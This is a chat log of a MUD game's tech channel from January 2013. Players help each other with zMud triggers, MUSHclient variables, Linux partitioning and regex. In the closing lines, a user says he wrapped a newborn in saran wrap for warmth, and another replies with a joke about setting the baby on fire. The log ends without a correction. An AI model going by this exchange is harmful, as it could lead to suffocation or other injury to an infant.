T3/r7/2013-01-23.txt.gz:{chan ch=tech}Santher Tech: but for mice i'ce used nothing but ms for the past 10 years same with "game" controllers... though atm i'm using an old gravis gamepad...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Santher Tech: the gravis beats the snot out of logitech
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: How do you get a trigger in zMud to activate after another trigger again? I have a trigger that automatically casts "remove curse" whenever my saff shows myself as being affected by curse.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: I also have a trigger to re-cast "remove curse" if I "fail to life [my] curse", but the 2nd trigger won't activate.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: depends on the exact sequence of events.  You can use a multistate trigger, or you can have two single-state triggers where one uses #T+ to activate the other.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: How do you multi-state triggers?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Do I just go into the "state" tab and add the 2nd line?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: As in line 1: the 1st trigger + response, line 2: the 2nd trigger + response?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Summoner Yuna.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Alrighty, thanks.-
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: each individual state is like a separate trigger with pattern and code, if I recall, there's a button or dropdown or something in the Edit Trigger window that lets you create a new state
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Or you can do #TRIGGER {First trigger} {response};#COND {Second trigger} {response} from the command line.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Which one is "better", Etzli?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: the ui is usually better, since the command line will parse any variable references and cause you to edit what changed in the UI anyways.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: plus, there's more space to work with in the UI.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: http://tinypic.com/r/b6sjzo/6 <-- Is this correct?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Also, will that trigger re-cast "remove curse" if the 2nd attempt fails?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: it will
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Thank you.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: you should provide some logic for when the remove curse works the first time, though, otherwise the trigger will fail to pick up the first state since it's still looking for the fail message.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: And how do you do that?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: the easiest way is to do a stringlist pattern that has the fail message and the success message as the elements.  It's okay to move out the parts of each message that overlap, if they only change in the same spot.  You would then use an #IF in the code to figure out which message occurred and then act accordingly.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: I understood basically none of that.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: well, you know what a stringlist is in ZMud, right?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Does anything bad actually happen if I don't do any of that or will zMud just do some unnecessary work by searching for a fail pattern that won't come, ultimately resulting in absolutely nothing?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: it won't crash, but each multistate trigger can only have one state active at a time.  Most state types don't have a timeout functionality to them, so when that state activates it stays activated until it triggers or the user uses #STATE or #SET to change the state manually.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Can I just add -#T or whatever the command was at the end of each state to have it automatically stop itself? Or is that not effective in this case?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: that doesn't work on states, only on the entire trigger.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Darnnit.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: you need #STATE to change trigger states.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: so what DO I have to add to the states?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: assuming you've already got the trigger pattern down and are using the stringlist pattern with success/fail messaging, you add #IF (%1 = "failmessage") {cast 'remove curse'}
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Let me try to work that into my trigger and you can tell me if I'm right or wrong.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: oops, tack on ";#state 1" to the cast command so that if it keeps failing it will keep recasting.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Wait... how do you work that into the UI?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: And where should #state 1 go?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Hanslanda? :P
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: trying to recall, since I can't actually open ZMud anymore to confirm.  If you click on the Pattern tab, I think there's a dropdown list in the upper-right area of the Edit Trigger window to let you jump to different states and/or create new states.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: you want to be looking at your second state.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: No drop-down window in zMud 7.21 for some reason.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: the pattern would be {successmessage|failmessage}, and you'd put the #IF command in teh code box below that.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: you can also do the same thing in the States tab by double-clicking on the red column to move the arrow to the appropriate state.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: technically, you can also insert the appropriate pieces of text into the States tab grid, but having the larger textareas in the Pattern tab is helpful.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Wait... I think I managed something.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Ok. By double clicking the red box to go to state #1, I got the following string in pattern: #IF (%1 = "failmessage") {cast 'remove curse'}
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: So, "You fail to lift your curse." goes in "failmessage", I presume.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: I.e. #IF (%1 = "^You fail to lift your curse.") {cast 'remove curse'}
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: no, wrong piece of text.  That goes in the code part.  But, yes, you replace failmessage with what Aard actually sends you.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Wait... so what goes in failmessage?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: And "^You fail to lift your curse." goes where?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: it goes where failmessage is.  #if (%1 = "You fail to lift your curse.")...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: I asked that and you said wrong pece of text, goes into code part :P
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: the whole #IF goes in the next box, though, on Pattern tab the box should have a label of Script or Code or something similar.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: I meant that the code appaered in the pattern-tab.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: On the States tab, it's still in the first box right next to the state # and right before the Pattern-box (that just reads "Pattern")
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: So, right now, state #1 reads: Red Box | 1 | #IF (%1 = "^You fail to lift your curse.") {cast 'remove curse'} | Pattern | o | c 'remove curse'
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: move the entire #IF from where it's at now and put it where "c 'remove curse'" is.  That box is the code your trigger will execute when the pattern matches.  That first box (where you first had the #IF) is where the pattern goes.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: the pattern would be ({failmessage|successmessage}) with both the () and the {}.  {} indicates it's a stringlist pattern, () indicates you want the match captured into a %1...%99 variable.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: oh, and since I forgot,  in the #IF condition also needs to be surrounded by "".
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Stupid zMud replaced my entire trigger with what I was typing in the chat window because I hit some random ctrl + something trigger. Could you possibly just give me the entie string?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Like, the trigger, the pattern, what code to execute, etc.? Just give me one for Curse, if that's possible. I'll reverse-engineer it into triggers for all of my other spells.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: #trigger {Spell: Curse} {cast 'remove curse'};#condition {({failmessage|successmessage})} {#if ("%1" = "failmessage") {cast 'remove curse';#state 1}}
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: paste that entire thing to the command line.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: I assume I need to input the failmessage and successmessage in there? Otherwise, it's compelte?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: yep.  There is a further improvement to make so that you don't get stuck in situations where remove curse fails alot (ie, not practiced), but otherwise it'll work as-is.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Thanks!
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: Now I just need to get cursed, blinded, marbud and whatnot to find out all of the various fail- and successmessages.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: have you tried surfing the wiki's mud messages page to see if any of them are there?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Summoner Yuna Tech: None of them appear to be there.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Any suggestions on how to partition Mint on a HD that'll be shared with a (non-working) version of XP ? There's 200GB free on that drive
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: if it's non-working, why keep it?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: 200GB free is different than 200GB unallocated, when it comes to partitioning live...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Maybe some-day I'll figure out how to repair it...:)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: if there's nothing on that partition you need to pull out, just nuke it.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: currently, I've just run it from Live CD, but since I obviously want to install updates, new packages, etc...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Well I've got a decent number of windows games on it...Skyrim, Dishonored, etc.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: without it running enough, or mountable from elsewhere, to defrag the used space on what I'll presume is the sole primary partition, you can't shrink that part to make a new one out of the 200GB free
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: I have a separate HD where the rest of my personal files are
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: you can make a ubuntu disc you can boot from and use the partition editor in that
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Yes, that was my understanding...just didn't know a suggested breakdown of X GB for swap, X for home, X for root, etc.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: meh, nowadays just use a big part
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: separating out /home, /usr, etc was from when drives were so small that you'd accidentally fill it up just with normal temp stuff
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: So don't bother splitting everything up according to a divine plan? :) Especially if most of my personal documents will remain accessible on the second drive
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Guess the initial question then is, should I just get a Win 7 Ultimate upgrade disc for $40 and write over the non-working XP, instead of trying to limp along for awhile longer using Mint, until I can get a new computer?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tigernuts Tech: you can legally get a win7 ultimate upgrade for $40? I have a hard time believing that
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Noodlez Tech: Don't get an upgrade disk if your xp isn't working.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Campus discount..upgrade only
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: use whatever you want...which OS should I use can't really be answered by us :-)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: So I don't even need to set up a swap partition on Mint 14?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Turie Tech: Mint, I like Chocolate Mint Cookies!
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mushambo Tech: Well this is Mint with Cinammon :)
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Turie Tech: Cinammon Chocolate Mint Ice Cream!
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: I wonder if raisins would go good with that?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Turie Tech: I think pecans might
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Turie Tech: or walnuts
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: just discovered, that lua "class" methods can be chained
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Jedhi Tech: wow
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Rondel Tech: any of yall try the new "mega" upload?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: sounds like a trap to me
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Rondel Tech: why?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: probably because the old one's been shutdown by the federal government for a year or so
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mokg Tech: new one is fine. its hosted out of country this time
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: and because Kim's in the middle of legal action, too
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: heh, dotcom
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mokg Tech: its .nz
T3/r7/2013-01-23.txt.gz:{chan ch=tech}BobTheGreat Tech: New Zealand :P
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Legendary Gruagach Tech: thats what they want you to beleive
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Vakieh Tech: NZ now know how NOT to proceed in legal action, the snafu near brought the sitting government down.
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: maybe if he'd launched quietly or something instead of throwing a SNL-type of neener-neener-you-can't-touch-me! gala...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Tech: no, dotcom is the last name of the megaupload guy...
T3/r7/2013-01-23.txt.gz:{chan ch=tech}The River Styx Tech: we know Abe
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Mokg Tech: I just wouldnt rely on it as your only place to keep something important
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Hanslanda Tech: if I bought a tv tuner card, would that pick up over-the-air programming too or do they just do cable/satellite?
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: they pickup / decode what they a designed to pickup
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: i have owned a free-to-air card
T3/r7/2013-01-23.txt.gz:{chan ch=tech}Aliens Tech: without cable
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aldeas Tech: is there an equivalent in mush client to turning off parsing temporarily?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: Can turn off aliases, triggers, and timers independently via their respective menus
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aldeas Tech: I just wanted to do a couple alias in the mud that had semi colons in them and mushclient is of course catching them as seppate commands
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aldeas Tech: using the alias command
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: escape semi-colon like so:   ;
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: escape semi-colon like so:   ;;
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: doh
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aldeas Tech: doh didn't even cross my mind to think escape Thanks
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Thinkon Tech: can someone please give me a pointer as to how to change the colour of the text for chat channels in mushclient?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: you can set the colors in aard directly?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: (see help colorset) or does that not fufill your requirements?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Thinkon Tech: ah yes that should do it - thanks
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Thinkon Tech: I only just now realised I needed to make some changes as debate channel is busy and I noticed how hard it is for me to read red on black
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: anyone playing aard on 23"?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Leinei Tech: 24", I believe
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: I have a 23" monitor
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: 27" here
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: how do you make the whole of aard pan out by default?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: No, I have miniwindows on either side of main output
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: Maps, stats, spells, group, bot
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: Ignore that last
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Leinei Tech: what do you mean by the "whole of aard"?  the entire MUSH window, or the main output window?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: I've got some empty space on the left side, main output on left
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: lol
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Leinei Tech: (and are you using aardMUSH?)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: i have all my miniwindows squeeze over to the left, with a big blank space on the right for VLC in "always on top" mode
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: yeah, i'm on aardmush. i mean i want everything to occupy the entire screen, without adjusting it manually
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: something like resetaard, for a big screen
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: VLC for me in my backup monitor, 22"
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: i do dual monitors occasionally, but it's summer here so i'm running minimal heat generators atm
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: LED, only way to go. I had an old 32 LCD flourescent, doubles as a heater
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: fluorescent?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: no idea
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: don't even know if mine's an led
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: I find that I have to redo my screen setup depending on the moniter size I have that day.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Any way to teach the mapper to open doors automatically?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: Heck, mush does odd things when maximized and I connect to it from another computer when it runs on my home machine. Then I have to unmaximize and maximize again to prevent my status bar from disappearing.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: yeah use a cexit
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Aliens Tech: mapper cexit open east;;east
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: Noodlez: use cexit
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Right on, thanks.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Kaof Tech: yeah Jaenelle, switch pcs sometimes so it's kinda annoying
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Swalec Tech: but you have to add all the doors independently
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Swalec Tech: passdoor wish might be easier:-)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: I don't mind addin' them
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: there are some doors you can't pass through
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Any way to make the mapper just search the area you're in?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: mapper area roomname?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: AREA?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: mapper find does the whole mud, mapper area does the area you're in I believe.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Right you are, thank you again.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Speeds things up when you search for 'common room'
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Jaenelle Tech: Or anything else with more than 50 hits. :P
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Noodlez Tech: Thanks.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Is there a way to make Ubuntu's notify-send not display a modal dialog when I don't specify a time limit?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and i think it's good
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mis
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: anyone using MUSHclient?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: The majority
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: i need some help please :)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: OK. I can google some psychologists' numbers for you.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: that would be so nice of you, but my diagnose says i'm beyond help
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: but that's not what i ment...i need help with setting some stuff in MUSHclient
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: Ask your question - worst case scenario you get silence.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: You know, it's REALLY difficult to help you because you don't say what ails you.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Ixle Tech: There are approximately 194 people using mushclient. Boom, question answered.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: lol, ok...how do i call variable in alias? 
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: ariable
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: @variable
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: (I think)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: You also need the "Expand variables" option set.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: Note that Lua variables (in scripts) are different.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: i'm far from scripting
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: i want to set variable for hold items, so i can use it in all aliases
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: and when change hold item, that automaticaly change in all aliases
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: Reading from variables was @name, I think. Writing to variables can only be done either manually via the GUI or through a script: setVariable("name", "value")
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Ashiya Tech: yeah, you'd have to make an alias click in script and do for example Send(hold itemname), SetVariable("varname" "holditemname")
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: hmmm...i'm not sure i know to do that...and it doesn't seem that ame is working
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: did you click the checkbox for expand variables?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: i can't find it
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: in your alias definition
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: there's a bunch of checkboxes on the right
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: oh, ok...now it's working
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Spiridon Tech: many thanks :)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Lecithin Tech: When I open zmud, it opens to a specific map file.  I do not want it to do that.  I always have to  manually open a newer map file.  Is there a way to save or set as default a specific map file?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know the best way to redirect on a website when the code that needs to redirect is in the middle of the page and not the headder?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: location()
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: or from js window.href = foobar
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: err, window.location.href
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Cizra Tech: Javascript
T3/r7/2013-01-24.txt.gz:{chan ch=tech}MightyChick Tech: if anyone knows mudlet trigger/ or general info about triggers can you help me figure out a small issue i seem to be having. please PST
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Daloran Tech: Mighty, generally if you have a question you just ask it =) People tend not to reply in tells like that.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: besides if they have an answer it might be helpful to other people too
T3/r7/2013-01-24.txt.gz:{chan ch=tech}MightyChick Tech: true. well here goes...
T3/r7/2013-01-24.txt.gz:{chan ch=tech}MightyChick Tech: i am having trouble setting up the quest complete triiger where i tell friends my reward. i am using mudlet on an ibookg4... ancient i know. but i could use a little help figuring out if i need the lua script before the send information
T3/r7/2013-01-24.txt.gz:{chan ch=tech}MightyChick Tech: or if i can just use the multimatche[l][n] and be fine
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Aside from Firefox add-ins, what have you found to be the best free SQLite Database Viewer/Manager? 
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: sqlite studio
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Will give that a try then.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: And thanks. :P
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: Soooo much faster than the FF plugin :-)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Turie Tech: Rocky Road SQlitecream.....
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Hanslanda Tech: SQLite Expert.  It's free for personal use, and from what I can tell it's both actively developed and just as capable as well-polished pay dbmanagers.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Right now, I'm enjoying Studio. :P
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: Will look into the others, too.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Vakieh Tech: How clean is it? :-P
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Book of Etzli Tech: This is definitely beautiful, Studio. :D
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Hanslanda Tech: I have a regex pattern of "\x1B\[1;32m\(Answer\)|\(Question\)|[A-Z]\w+ answers|[A-Z]\w+ questions " but it's not matching correctly.  The specific problem is that for the "name questions " match the trailing m from the ansi code is being removed, which is causing the opening ' to be eaten by the now-malformed ansi code.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Hanslanda Tech: what am I not doing right here, since the problem isn't happening to any other form of qna channel messaging.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: I'd say what you're doing wrong is not using channel tags :-)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: The River Styx nods wildly at you. Back away very slowly.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: {chan ch=(question|answer)}
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Hanslanda Tech: this isn't on that line.  It's in the gmcp trigger.  Trying to edit out extraneous text from the message.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: no real reason to be matching ANSI codes for that at all
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Hanslanda Tech: except their included in the gmcp capture.  In CMud, at least, the gmcp trigger doesn't have to be expressly set to be an ANSI trigger as well.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: regex shouldn't need to care about them...it's a design flaw if it does
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: if you want easier-to-match colors, then you can use gmcp rawcolors... is a lot less ambiguous and a lot harder to be on the wrong side of things
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Tech: err @g, but you get the idea ;-)
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how do I keep a newborn warm?  It's really cold outside and my apartment is drafty and my little furnace can't keep up and now the baby is shivering?
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Ixle Tech: Cover the extremities, swaddle, heat pack, body heat.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Hanslanda Tech: set it on fire.  It'll stay warm for the rest of its life.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Hanslanda Tech: seriously, though, if your apartment is that bad you probably need to just move back in with the parents for a bit.
T3/r7/2013-01-24.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: he keeps wiggling out of a swaddle blanket so i tried saran wrap but it doesn't keep him warm enough
